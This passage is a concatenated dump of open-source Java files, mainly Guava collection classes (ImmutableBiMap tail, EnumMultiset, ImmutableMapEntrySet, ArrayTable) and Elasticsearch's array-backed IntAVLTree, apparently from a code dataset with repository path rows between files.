* Returns an immutable set of the values in this map, in the same order they appear in {@link
* #entrySet}.
*/
@Override
public ImmutableSet<V> values() {
return inverse().keySet();
}
@Override
final ImmutableSet<V> createValues() {
throw new AssertionError("should never be called");
}
/**
* Guaranteed to throw an exception and leave the bimap unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
@CheckForNull
public final V forcePut(K key, V value) {
throw new UnsupportedOperationException();
}
/**
* Serialized type for all ImmutableBiMap instances. It captures the logical contents and they are
* reconstructed using public factory methods. This ensures that the implementation types remain
* as implementation details.
*
* <p>Since the bimap is immutable, ImmutableBiMap doesn't require special logic for keeping the
* bimap and its inverse in sync during serialization, the way AbstractBiMap does.
*/
@J2ktIncompatible // serialization
private static class SerializedForm<K, V> extends ImmutableMap.SerializedForm<K, V> {
SerializedForm(ImmutableBiMap<K, V> bimap) {
super(bimap);
}
@Override
Builder<K, V> makeBuilder(int size) {
return new Builder<>(size);
}
private static final long serialVersionUID = 0;
}
@Override
@J2ktIncompatible // serialization
Object writeReplace() {
return new SerializedForm<>(this);
}
@J2ktIncompatible // serialization
private void readObject(ObjectInputStream stream) throws InvalidObjectException {
throw new InvalidObjectException("Use SerializedForm");
}
/**
* Not supported. Use {@link #toImmutableBiMap} instead. This method exists only to hide {@link
* ImmutableMap#toImmutableMap(Function, Function)} from consumers of {@code ImmutableBiMap}.
*
* @throws UnsupportedOperationException always
* @deprecated Use {@link ImmutableBiMap#toImmutableBiMap}.
*/
@Deprecated
@DoNotCall("Use toImmutableBiMap")
public static <T extends @Nullable Object, K, V>
Collector<T, ?, ImmutableMap<K, V>> toImmutableMap(
Function<? super T, ? extends K> keyFunction,
Function<? super T, ? extends V> valueFunction) {
throw new UnsupportedOperationException();
}
/**
* Not supported. This method does not make sense for {@code BiMap}. This method exists only to
* hide {@link ImmutableMap#toImmutableMap(Function, Function, BinaryOperator)} from consumers of
* {@code ImmutableBiMap}.
*
* @throws UnsupportedOperationException always
* @deprecated
*/
@Deprecated
@DoNotCall("Use toImmutableBiMap")
public static <T extends @Nullable Object, K, V>
Collector<T, ?, ImmutableMap<K, V>> toImmutableMap(
Function<? super T, ? extends K> keyFunction,
Function<? super T, ? extends V> valueFunction,
BinaryOperator<V> mergeFunction) {
throw new UnsupportedOperationException();
}
private static final long serialVersionUID = 0xcafebabe;
}
| google/guava | guava/src/com/google/common/collect/ImmutableBiMap.java |
1,357 | /*
* Copyright (C) 2007 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.CollectPreconditions.checkNonnegative;
import static com.google.common.collect.CollectPreconditions.checkRemove;
import static java.util.Objects.requireNonNull;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.common.primitives.Ints;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Arrays;
import java.util.Iterator;
import java.util.NoSuchElementException;
import javax.annotation.CheckForNull;
/**
* Multiset implementation specialized for enum elements, supporting all single-element operations
* in O(1).
*
* <p>See the Guava User Guide article on <a href=
* "https://github.com/google/guava/wiki/NewCollectionTypesExplained#multiset">{@code Multiset}</a>.
*
* @author Jared Levy
* @since 2.0
*/
@GwtCompatible(emulated = true)
@J2ktIncompatible
@ElementTypesAreNonnullByDefault
public final class EnumMultiset<E extends Enum<E>> extends AbstractMultiset<E>
implements Serializable {
/** Creates an empty {@code EnumMultiset}. */
public static <E extends Enum<E>> EnumMultiset<E> create(Class<E> type) {
return new EnumMultiset<>(type);
}
/**
* Creates a new {@code EnumMultiset} containing the specified elements.
*
* <p>This implementation is highly efficient when {@code elements} is itself a {@link Multiset}.
*
* @param elements the elements that the multiset should contain
* @throws IllegalArgumentException if {@code elements} is empty
*/
public static <E extends Enum<E>> EnumMultiset<E> create(Iterable<E> elements) {
Iterator<E> iterator = elements.iterator();
checkArgument(iterator.hasNext(), "EnumMultiset constructor passed empty Iterable");
EnumMultiset<E> multiset = new EnumMultiset<>(iterator.next().getDeclaringClass());
Iterables.addAll(multiset, elements);
return multiset;
}
/**
* Returns a new {@code EnumMultiset} instance containing the given elements. Unlike {@link
* EnumMultiset#create(Iterable)}, this method does not produce an exception on an empty iterable.
*
* @since 14.0
*/
public static <E extends Enum<E>> EnumMultiset<E> create(Iterable<E> elements, Class<E> type) {
EnumMultiset<E> result = create(type);
Iterables.addAll(result, elements);
return result;
}
private transient Class<E> type;
private transient E[] enumConstants;
private transient int[] counts;
private transient int distinctElements;
private transient long size;
/** Creates an empty {@code EnumMultiset}. */
private EnumMultiset(Class<E> type) {
this.type = type;
checkArgument(type.isEnum());
this.enumConstants = type.getEnumConstants();
this.counts = new int[enumConstants.length];
}
private boolean isActuallyE(@CheckForNull Object o) {
if (o instanceof Enum) {
Enum<?> e = (Enum<?>) o;
int index = e.ordinal();
return index < enumConstants.length && enumConstants[index] == e;
}
return false;
}
/**
* Returns {@code element} cast to {@code E}, if it actually is a nonnull E. Otherwise, throws
* either a NullPointerException or a ClassCastException as appropriate.
*/
private void checkIsE(Object element) {
checkNotNull(element);
if (!isActuallyE(element)) {
throw new ClassCastException("Expected an " + type + " but got " + element);
}
}
@Override
int distinctElements() {
return distinctElements;
}
@Override
public int size() {
return Ints.saturatedCast(size);
}
@Override
public int count(@CheckForNull Object element) {
// isActuallyE checks for null, but we check explicitly to help nullness checkers.
if (element == null || !isActuallyE(element)) {
return 0;
}
Enum<?> e = (Enum<?>) element;
return counts[e.ordinal()];
}
// Modification Operations
@CanIgnoreReturnValue
@Override
public int add(E element, int occurrences) {
checkIsE(element);
checkNonnegative(occurrences, "occurrences");
if (occurrences == 0) {
return count(element);
}
int index = element.ordinal();
int oldCount = counts[index];
long newCount = (long) oldCount + occurrences;
checkArgument(newCount <= Integer.MAX_VALUE, "too many occurrences: %s", newCount);
counts[index] = (int) newCount;
if (oldCount == 0) {
distinctElements++;
}
size += occurrences;
return oldCount;
}
// Modification Operations
@CanIgnoreReturnValue
@Override
public int remove(@CheckForNull Object element, int occurrences) {
// isActuallyE checks for null, but we check explicitly to help nullness checkers.
if (element == null || !isActuallyE(element)) {
return 0;
}
Enum<?> e = (Enum<?>) element;
checkNonnegative(occurrences, "occurrences");
if (occurrences == 0) {
return count(element);
}
int index = e.ordinal();
int oldCount = counts[index];
if (oldCount == 0) {
return 0;
} else if (oldCount <= occurrences) {
counts[index] = 0;
distinctElements--;
size -= oldCount;
} else {
counts[index] = oldCount - occurrences;
size -= occurrences;
}
return oldCount;
}
// Modification Operations
@CanIgnoreReturnValue
@Override
public int setCount(E element, int count) {
checkIsE(element);
checkNonnegative(count, "count");
int index = element.ordinal();
int oldCount = counts[index];
counts[index] = count;
size += count - oldCount;
if (oldCount == 0 && count > 0) {
distinctElements++;
} else if (oldCount > 0 && count == 0) {
distinctElements--;
}
return oldCount;
}
@Override
public void clear() {
Arrays.fill(counts, 0);
size = 0;
distinctElements = 0;
}
abstract class Itr<T> implements Iterator<T> {
int index = 0;
int toRemove = -1;
abstract T output(int index);
@Override
public boolean hasNext() {
for (; index < enumConstants.length; index++) {
if (counts[index] > 0) {
return true;
}
}
return false;
}
@Override
public T next() {
if (!hasNext()) {
throw new NoSuchElementException();
}
T result = output(index);
toRemove = index;
index++;
return result;
}
@Override
public void remove() {
checkRemove(toRemove >= 0);
if (counts[toRemove] > 0) {
distinctElements--;
size -= counts[toRemove];
counts[toRemove] = 0;
}
toRemove = -1;
}
}
@Override
Iterator<E> elementIterator() {
return new Itr<E>() {
@Override
E output(int index) {
return enumConstants[index];
}
};
}
@Override
Iterator<Entry<E>> entryIterator() {
return new Itr<Entry<E>>() {
@Override
Entry<E> output(final int index) {
return new Multisets.AbstractEntry<E>() {
@Override
public E getElement() {
return enumConstants[index];
}
@Override
public int getCount() {
return counts[index];
}
};
}
};
}
@Override
public Iterator<E> iterator() {
return Multisets.iteratorImpl(this);
}
@GwtIncompatible // java.io.ObjectOutputStream
private void writeObject(ObjectOutputStream stream) throws IOException {
stream.defaultWriteObject();
stream.writeObject(type);
Serialization.writeMultiset(this, stream);
}
/**
* @serialData the {@code Class<E>} for the enum type, the number of distinct elements, the first
* element, its count, the second element, its count, and so on
*/
@GwtIncompatible // java.io.ObjectInputStream
private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
stream.defaultReadObject();
@SuppressWarnings("unchecked") // reading data stored by writeObject
Class<E> localType = (Class<E>) requireNonNull(stream.readObject());
type = localType;
enumConstants = type.getEnumConstants();
counts = new int[enumConstants.length];
Serialization.populateMultiset(this, stream);
}
@GwtIncompatible // Not needed in emulated source
private static final long serialVersionUID = 0;
}
| google/guava | android/guava/src/com/google/common/collect/EnumMultiset.java |
1,358 | /*
* Copyright (C) 2008 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Map.Entry;
import java.util.Spliterator;
import java.util.function.Consumer;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* {@code entrySet()} implementation for {@link ImmutableMap}.
*
* @author Jesse Wilson
* @author Kevin Bourrillion
*/
@GwtCompatible(emulated = true)
@ElementTypesAreNonnullByDefault
abstract class ImmutableMapEntrySet<K, V> extends ImmutableSet.CachingAsList<Entry<K, V>> {
static final class RegularEntrySet<K, V> extends ImmutableMapEntrySet<K, V> {
private final transient ImmutableMap<K, V> map;
private final transient ImmutableList<Entry<K, V>> entries;
RegularEntrySet(ImmutableMap<K, V> map, Entry<K, V>[] entries) {
this(map, ImmutableList.<Entry<K, V>>asImmutableList(entries));
}
RegularEntrySet(ImmutableMap<K, V> map, ImmutableList<Entry<K, V>> entries) {
this.map = map;
this.entries = entries;
}
@Override
ImmutableMap<K, V> map() {
return map;
}
@Override
@GwtIncompatible("not used in GWT")
int copyIntoArray(@Nullable Object[] dst, int offset) {
return entries.copyIntoArray(dst, offset);
}
@Override
public UnmodifiableIterator<Entry<K, V>> iterator() {
return entries.iterator();
}
@Override
public Spliterator<Entry<K, V>> spliterator() {
return entries.spliterator();
}
@Override
public void forEach(Consumer<? super Entry<K, V>> action) {
entries.forEach(action);
}
@Override
ImmutableList<Entry<K, V>> createAsList() {
return new RegularImmutableAsList<>(this, entries);
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
}
ImmutableMapEntrySet() {}
abstract ImmutableMap<K, V> map();
@Override
public int size() {
return map().size();
}
@Override
public boolean contains(@CheckForNull Object object) {
if (object instanceof Entry) {
Entry<?, ?> entry = (Entry<?, ?>) object;
V value = map().get(entry.getKey());
return value != null && value.equals(entry.getValue());
}
return false;
}
@Override
boolean isPartialView() {
return map().isPartialView();
}
@Override
@GwtIncompatible // not used in GWT
boolean isHashCodeFast() {
return map().isHashCodeFast();
}
@Override
public int hashCode() {
return map().hashCode();
}
@GwtIncompatible // serialization
@J2ktIncompatible
@Override
Object writeReplace() {
return new EntrySetSerializedForm<>(map());
}
@GwtIncompatible // serialization
@J2ktIncompatible
private void readObject(ObjectInputStream stream) throws InvalidObjectException {
throw new InvalidObjectException("Use EntrySetSerializedForm");
}
@GwtIncompatible // serialization
@J2ktIncompatible
private static class EntrySetSerializedForm<K, V> implements Serializable {
final ImmutableMap<K, V> map;
EntrySetSerializedForm(ImmutableMap<K, V> map) {
this.map = map;
}
Object readResolve() {
return map.entrySet();
}
private static final long serialVersionUID = 0;
}
}
| google/guava | guava/src/com/google/common/collect/ImmutableMapEntrySet.java |
1,359 | /*
* Licensed to Elasticsearch B.V. under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch B.V. licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
* This project is based on a modification of https://github.com/tdunning/t-digest which is licensed under the Apache 2.0 License.
*/
package org.elasticsearch.tdigest;
import java.util.Arrays;
/**
* An AVL-tree structure stored in parallel arrays.
* This class only stores the tree structure, so you need to extend it if you
* want to add data to the nodes, typically by using arrays and node
* identifiers as indices.
*/
abstract class IntAVLTree {
/**
* We use <code>0</code> instead of <code>-1</code> so that left(NIL) works without
* condition.
*/
protected static final int NIL = 0;
/** Grow a size by 1/8. */
static int oversize(int size) {
return size + (size >>> 3);
}
private final NodeAllocator nodeAllocator;
private int root;
private int[] parent;
private int[] left;
private int[] right;
private byte[] depth;
IntAVLTree(int initialCapacity) {
nodeAllocator = new NodeAllocator();
root = NIL;
parent = new int[initialCapacity];
left = new int[initialCapacity];
right = new int[initialCapacity];
depth = new byte[initialCapacity];
}
IntAVLTree() {
this(16);
}
/**
* Return the current root of the tree.
*/
public int root() {
return root;
}
/**
* Return the current capacity, which is the number of nodes that this tree
* can hold.
*/
public int capacity() {
return parent.length;
}
/**
* Resize internal storage in order to be able to store data for nodes up to
* <code>newCapacity</code> (excluded).
*/
protected void resize(int newCapacity) {
parent = Arrays.copyOf(parent, newCapacity);
left = Arrays.copyOf(left, newCapacity);
right = Arrays.copyOf(right, newCapacity);
depth = Arrays.copyOf(depth, newCapacity);
}
/**
* Return the size of this tree.
*/
public int size() {
return nodeAllocator.size();
}
/**
* Return the parent of the provided node.
*/
public int parent(int node) {
return parent[node];
}
/**
* Return the left child of the provided node.
*/
public int left(int node) {
return left[node];
}
/**
* Return the right child of the provided node.
*/
public int right(int node) {
return right[node];
}
/**
* Return the depth nodes that are stored below <code>node</code> including itself.
*/
public int depth(int node) {
return depth[node];
}
/**
* Return the least node under <code>node</code>.
*/
public int first(int node) {
if (node == NIL) {
return NIL;
}
while (true) {
final int left = left(node);
if (left == NIL) {
break;
}
node = left;
}
return node;
}
/**
* Return the largest node under <code>node</code>.
*/
public int last(int node) {
while (true) {
final int right = right(node);
if (right == NIL) {
break;
}
node = right;
}
return node;
}
/**
* Return the least node that is strictly greater than <code>node</code>.
*/
public final int next(int node) {
final int right = right(node);
if (right != NIL) {
return first(right);
} else {
int parent = parent(node);
while (parent != NIL && node == right(parent)) {
node = parent;
parent = parent(parent);
}
return parent;
}
}
/**
* Return the highest node that is strictly less than <code>node</code>.
*/
public final int prev(int node) {
final int left = left(node);
if (left != NIL) {
return last(left);
} else {
int parent = parent(node);
while (parent != NIL && node == left(parent)) {
node = parent;
parent = parent(parent);
}
return parent;
}
}
/**
* Compare data against data which is stored in <code>node</code>.
*/
protected abstract int compare(int node);
/**
* Compare data into <code>node</code>.
*/
protected abstract void copy(int node);
/**
* Merge data into <code>node</code>.
*/
protected abstract void merge(int node);
/**
* Add current data to the tree and return <code>true</code> if a new node was added
* to the tree or <code>false</code> if the node was merged into an existing node.
*/
public boolean add() {
if (root == NIL) {
root = nodeAllocator.newNode();
copy(root);
fixAggregates(root);
return true;
} else {
int node = root;
assert parent(root) == NIL;
int parent;
int cmp;
do {
cmp = compare(node);
if (cmp < 0) {
parent = node;
node = left(node);
} else if (cmp > 0) {
parent = node;
node = right(node);
} else {
merge(node);
return false;
}
} while (node != NIL);
node = nodeAllocator.newNode();
if (node >= capacity()) {
resize(oversize(node + 1));
}
copy(node);
parent(node, parent);
if (cmp < 0) {
left(parent, node);
} else {
right(parent, node);
}
rebalance(node);
return true;
}
}
/**
* Find a node in this tree.
*/
public int find() {
for (int node = root; node != NIL;) {
final int cmp = compare(node);
if (cmp < 0) {
node = left(node);
} else if (cmp > 0) {
node = right(node);
} else {
return node;
}
}
return NIL;
}
/**
* Update <code>node</code> with the current data.
*/
public void update(int node) {
final int prev = prev(node);
final int next = next(node);
if ((prev == NIL || compare(prev) > 0) && (next == NIL || compare(next) < 0)) {
// Update can be done in-place
copy(node);
for (int n = node; n != NIL; n = parent(n)) {
fixAggregates(n);
}
} else {
// TODO: it should be possible to find the new node position without
// starting from scratch
remove(node);
add();
}
}
/**
* Remove the specified node from the tree.
*/
public void remove(int node) {
if (node == NIL) {
throw new IllegalArgumentException();
}
if (left(node) != NIL && right(node) != NIL) {
// inner node
final int next = next(node);
assert next != NIL;
swap(node, next);
}
assert left(node) == NIL || right(node) == NIL;
final int parent = parent(node);
int child = left(node);
if (child == NIL) {
child = right(node);
}
if (child == NIL) {
// no children
if (node == root) {
assert size() == 1 : size();
root = NIL;
} else {
if (node == left(parent)) {
left(parent, NIL);
} else {
assert node == right(parent);
right(parent, NIL);
}
}
} else {
// one single child
if (node == root) {
assert size() == 2;
root = child;
} else if (node == left(parent)) {
left(parent, child);
} else {
assert node == right(parent);
right(parent, child);
}
parent(child, parent);
}
release(node);
rebalance(parent);
}
private void release(int node) {
left(node, NIL);
right(node, NIL);
parent(node, NIL);
nodeAllocator.release(node);
}
private void swap(int node1, int node2) {
final int parent1 = parent(node1);
final int parent2 = parent(node2);
if (parent1 != NIL) {
if (node1 == left(parent1)) {
left(parent1, node2);
} else {
assert node1 == right(parent1);
right(parent1, node2);
}
} else {
assert root == node1;
root = node2;
}
if (parent2 != NIL) {
if (node2 == left(parent2)) {
left(parent2, node1);
} else {
assert node2 == right(parent2);
right(parent2, node1);
}
} else {
assert root == node2;
root = node1;
}
parent(node1, parent2);
parent(node2, parent1);
final int left1 = left(node1);
final int left2 = left(node2);
left(node1, left2);
if (left2 != NIL) {
parent(left2, node1);
}
left(node2, left1);
if (left1 != NIL) {
parent(left1, node2);
}
final int right1 = right(node1);
final int right2 = right(node2);
right(node1, right2);
if (right2 != NIL) {
parent(right2, node1);
}
right(node2, right1);
if (right1 != NIL) {
parent(right1, node2);
}
final int depth1 = depth(node1);
final int depth2 = depth(node2);
depth(node1, depth2);
depth(node2, depth1);
}
private int balanceFactor(int node) {
return depth(left(node)) - depth(right(node));
}
private void rebalance(int node) {
for (int n = node; n != NIL;) {
final int p = parent(n);
fixAggregates(n);
switch (balanceFactor(n)) {
case -2:
final int right = right(n);
if (balanceFactor(right) == 1) {
rotateRight(right);
}
rotateLeft(n);
break;
case 2:
final int left = left(n);
if (balanceFactor(left) == -1) {
rotateLeft(left);
}
rotateRight(n);
break;
case -1:
case 0:
case 1:
break; // ok
default:
throw new AssertionError();
}
n = p;
}
}
protected void fixAggregates(int node) {
depth(node, 1 + Math.max(depth(left(node)), depth(right(node))));
}
/** Rotate left the subtree under <code>n</code> */
private void rotateLeft(int n) {
final int r = right(n);
final int lr = left(r);
right(n, lr);
if (lr != NIL) {
parent(lr, n);
}
final int p = parent(n);
parent(r, p);
if (p == NIL) {
root = r;
} else if (left(p) == n) {
left(p, r);
} else {
assert right(p) == n;
right(p, r);
}
left(r, n);
parent(n, r);
fixAggregates(n);
fixAggregates(parent(n));
}
/** Rotate right the subtree under <code>n</code> */
private void rotateRight(int n) {
final int l = left(n);
final int rl = right(l);
left(n, rl);
if (rl != NIL) {
parent(rl, n);
}
final int p = parent(n);
parent(l, p);
if (p == NIL) {
root = l;
} else if (right(p) == n) {
right(p, l);
} else {
assert left(p) == n;
left(p, l);
}
right(l, n);
parent(n, l);
fixAggregates(n);
fixAggregates(parent(n));
}
private void parent(int node, int parent) {
assert node != NIL;
this.parent[node] = parent;
}
private void left(int node, int left) {
assert node != NIL;
this.left[node] = left;
}
private void right(int node, int right) {
assert node != NIL;
this.right[node] = right;
}
private void depth(int node, int depth) {
assert node != NIL;
assert depth >= 0 && depth <= Byte.MAX_VALUE;
this.depth[node] = (byte) depth;
}
void checkBalance(int node) {
if (node == NIL) {
assert depth(node) == 0;
} else {
assert depth(node) == 1 + Math.max(depth(left(node)), depth(right(node)));
assert Math.abs(depth(left(node)) - depth(right(node))) <= 1;
checkBalance(left(node));
checkBalance(right(node));
}
}
/**
* A stack of int values.
*/
private static class IntStack {
private int[] stack;
private int size;
IntStack() {
stack = new int[0];
size = 0;
}
int size() {
return size;
}
int pop() {
return stack[--size];
}
void push(int v) {
if (size >= stack.length) {
final int newLength = oversize(size + 1);
stack = Arrays.copyOf(stack, newLength);
}
stack[size++] = v;
}
}
private static class NodeAllocator {
private int nextNode;
private final IntStack releasedNodes;
NodeAllocator() {
nextNode = NIL + 1;
releasedNodes = new IntStack();
}
int newNode() {
if (releasedNodes.size() > 0) {
return releasedNodes.pop();
} else {
return nextNode++;
}
}
void release(int node) {
assert node < nextNode;
releasedNodes.push(node);
}
int size() {
return nextNode - releasedNodes.size() - 1;
}
}
}
| elastic/elasticsearch | libs/tdigest/src/main/java/org/elasticsearch/tdigest/IntAVLTree.java |
1,363 | /*
* Copyright (C) 2009 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkElementIndex;
import static com.google.common.base.Preconditions.checkNotNull;
import static java.util.Collections.emptyMap;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.base.Objects;
import com.google.common.collect.Maps.IteratorBasedAbstractMap;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import com.google.errorprone.annotations.DoNotCall;
import com.google.errorprone.annotations.concurrent.LazyInit;
import com.google.j2objc.annotations.WeakOuter;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.util.Arrays;
import java.util.Collection;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import java.util.Spliterator;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* Fixed-size {@link Table} implementation backed by a two-dimensional array.
*
* <p><b>Warning:</b> {@code ArrayTable} is rarely the {@link Table} implementation you want. First,
* it requires that the complete universe of rows and columns be specified at construction time.
* Second, it is always backed by an array large enough to hold a value for every possible
* combination of row and column keys. (This is rarely optimal unless the table is extremely dense.)
* Finally, every possible combination of row and column keys is always considered to have a value
* associated with it: It is not possible to "remove" a value, only to replace it with {@code null},
* which will still appear when iterating over the table's contents in a foreach loop or a call to a
* null-hostile method like {@link ImmutableTable#copyOf}. For alternatives, please see <a
* href="https://github.com/google/guava/wiki/NewCollectionTypesExplained#table">the wiki</a>.
*
* <p>The allowed row and column keys must be supplied when the table is created. The table always
* contains a mapping for every row key / column pair. The value corresponding to a given row and
* column is null unless another value is provided.
*
* <p>The table's size is constant: the product of the number of supplied row keys and the number of
* supplied column keys. The {@code remove} and {@code clear} methods are not supported by the table
* or its views. The {@link #erase} and {@link #eraseAll} methods may be used instead.
*
* <p>The ordering of the row and column keys provided when the table is constructed determines the
* iteration ordering across rows and columns in the table's views. None of the view iterators
* support {@link Iterator#remove}. If the table is modified after an iterator is created, the
* iterator remains valid.
*
* <p>This class requires less memory than the {@link HashBasedTable} and {@link TreeBasedTable}
* implementations, except when the table is sparse.
*
* <p>Null row keys or column keys are not permitted.
*
* <p>This class provides methods involving the underlying array structure, where the array indices
* correspond to the position of a row or column in the lists of allowed keys and values. See the
* {@link #at}, {@link #set}, {@link #toArray}, {@link #rowKeyList}, and {@link #columnKeyList}
* methods for more details.
*
* <p>Note that this implementation is not synchronized. If multiple threads access the same cell of
* an {@code ArrayTable} concurrently and one of the threads modifies its value, there is no
* guarantee that the new value will be fully visible to the other threads. To guarantee that
* modifications are visible, synchronize access to the table. Unlike other {@code Table}
* implementations, synchronization is unnecessary between a thread that writes to one cell and a
* thread that reads from another.
*
* <p>See the Guava User Guide article on <a href=
* "https://github.com/google/guava/wiki/NewCollectionTypesExplained#table">{@code Table}</a>.
*
* @author Jared Levy
* @since 10.0
*/
@GwtCompatible(emulated = true)
@ElementTypesAreNonnullByDefault
public final class ArrayTable<R, C, V> extends AbstractTable<R, C, @Nullable V>
implements Serializable {
/**
* Creates an {@code ArrayTable} filled with {@code null}.
*
* @param rowKeys row keys that may be stored in the generated table
* @param columnKeys column keys that may be stored in the generated table
* @throws NullPointerException if any of the provided keys is null
* @throws IllegalArgumentException if {@code rowKeys} or {@code columnKeys} contains duplicates
* or if exactly one of {@code rowKeys} or {@code columnKeys} is empty.
*/
public static <R, C, V> ArrayTable<R, C, V> create(
Iterable<? extends R> rowKeys, Iterable<? extends C> columnKeys) {
return new ArrayTable<>(rowKeys, columnKeys);
}
/*
* TODO(jlevy): Add factory methods taking an Enum class, instead of an
* iterable, to specify the allowed row keys and/or column keys. Note that
* custom serialization logic is needed to support different enum sizes during
* serialization and deserialization.
*/
/**
* Creates an {@code ArrayTable} with the mappings in the provided table.
*
* <p>If {@code table} includes a mapping with row key {@code r} and a separate mapping with
* column key {@code c}, the returned table contains a mapping with row key {@code r} and column
* key {@code c}. If that row key / column key pair in not in {@code table}, the pair maps to
* {@code null} in the generated table.
*
* <p>The returned table allows subsequent {@code put} calls with the row keys in {@code
* table.rowKeySet()} and the column keys in {@code table.columnKeySet()}. Calling {@link #put}
* with other keys leads to an {@code IllegalArgumentException}.
*
* <p>The ordering of {@code table.rowKeySet()} and {@code table.columnKeySet()} determines the
* row and column iteration ordering of the returned table.
*
* @throws NullPointerException if {@code table} has a null key
*/
@SuppressWarnings("unchecked") // TODO(cpovirk): Make constructor accept wildcard types?
public static <R, C, V> ArrayTable<R, C, V> create(Table<R, C, ? extends @Nullable V> table) {
return (table instanceof ArrayTable)
? new ArrayTable<R, C, V>((ArrayTable<R, C, V>) table)
: new ArrayTable<R, C, V>(table);
}
private final ImmutableList<R> rowList;
private final ImmutableList<C> columnList;
// TODO(jlevy): Add getters returning rowKeyToIndex and columnKeyToIndex?
private final ImmutableMap<R, Integer> rowKeyToIndex;
private final ImmutableMap<C, Integer> columnKeyToIndex;
private final @Nullable V[][] array;
private ArrayTable(Iterable<? extends R> rowKeys, Iterable<? extends C> columnKeys) {
this.rowList = ImmutableList.copyOf(rowKeys);
this.columnList = ImmutableList.copyOf(columnKeys);
checkArgument(rowList.isEmpty() == columnList.isEmpty());
/*
* TODO(jlevy): Support only one of rowKey / columnKey being empty? If we
* do, when columnKeys is empty but rowKeys isn't, rowKeyList() can contain
* elements but rowKeySet() will be empty and containsRow() won't
* acknowledge them.
*/
rowKeyToIndex = Maps.indexMap(rowList);
columnKeyToIndex = Maps.indexMap(columnList);
@SuppressWarnings("unchecked")
@Nullable
V[][] tmpArray = (@Nullable V[][]) new Object[rowList.size()][columnList.size()];
array = tmpArray;
// Necessary because in GWT the arrays are initialized with "undefined" instead of null.
eraseAll();
}
private ArrayTable(Table<R, C, ? extends @Nullable V> table) {
this(table.rowKeySet(), table.columnKeySet());
putAll(table);
}
private ArrayTable(ArrayTable<R, C, V> table) {
rowList = table.rowList;
columnList = table.columnList;
rowKeyToIndex = table.rowKeyToIndex;
columnKeyToIndex = table.columnKeyToIndex;
@SuppressWarnings("unchecked")
@Nullable
V[][] copy = (@Nullable V[][]) new Object[rowList.size()][columnList.size()];
array = copy;
for (int i = 0; i < rowList.size(); i++) {
System.arraycopy(table.array[i], 0, copy[i], 0, table.array[i].length);
}
}
private abstract static class ArrayMap<K, V extends @Nullable Object>
extends IteratorBasedAbstractMap<K, V> {
private final ImmutableMap<K, Integer> keyIndex;
private ArrayMap(ImmutableMap<K, Integer> keyIndex) {
this.keyIndex = keyIndex;
}
@Override
public Set<K> keySet() {
return keyIndex.keySet();
}
K getKey(int index) {
return keyIndex.keySet().asList().get(index);
}
abstract String getKeyRole();
@ParametricNullness
abstract V getValue(int index);
@ParametricNullness
abstract V setValue(int index, @ParametricNullness V newValue);
@Override
public int size() {
return keyIndex.size();
}
@Override
public boolean isEmpty() {
return keyIndex.isEmpty();
}
Entry<K, V> getEntry(final int index) {
checkElementIndex(index, size());
return new AbstractMapEntry<K, V>() {
@Override
public K getKey() {
return ArrayMap.this.getKey(index);
}
@Override
@ParametricNullness
public V getValue() {
return ArrayMap.this.getValue(index);
}
@Override
@ParametricNullness
public V setValue(@ParametricNullness V value) {
return ArrayMap.this.setValue(index, value);
}
};
}
@Override
Iterator<Entry<K, V>> entryIterator() {
return new AbstractIndexedListIterator<Entry<K, V>>(size()) {
@Override
protected Entry<K, V> get(final int index) {
return getEntry(index);
}
};
}
@Override
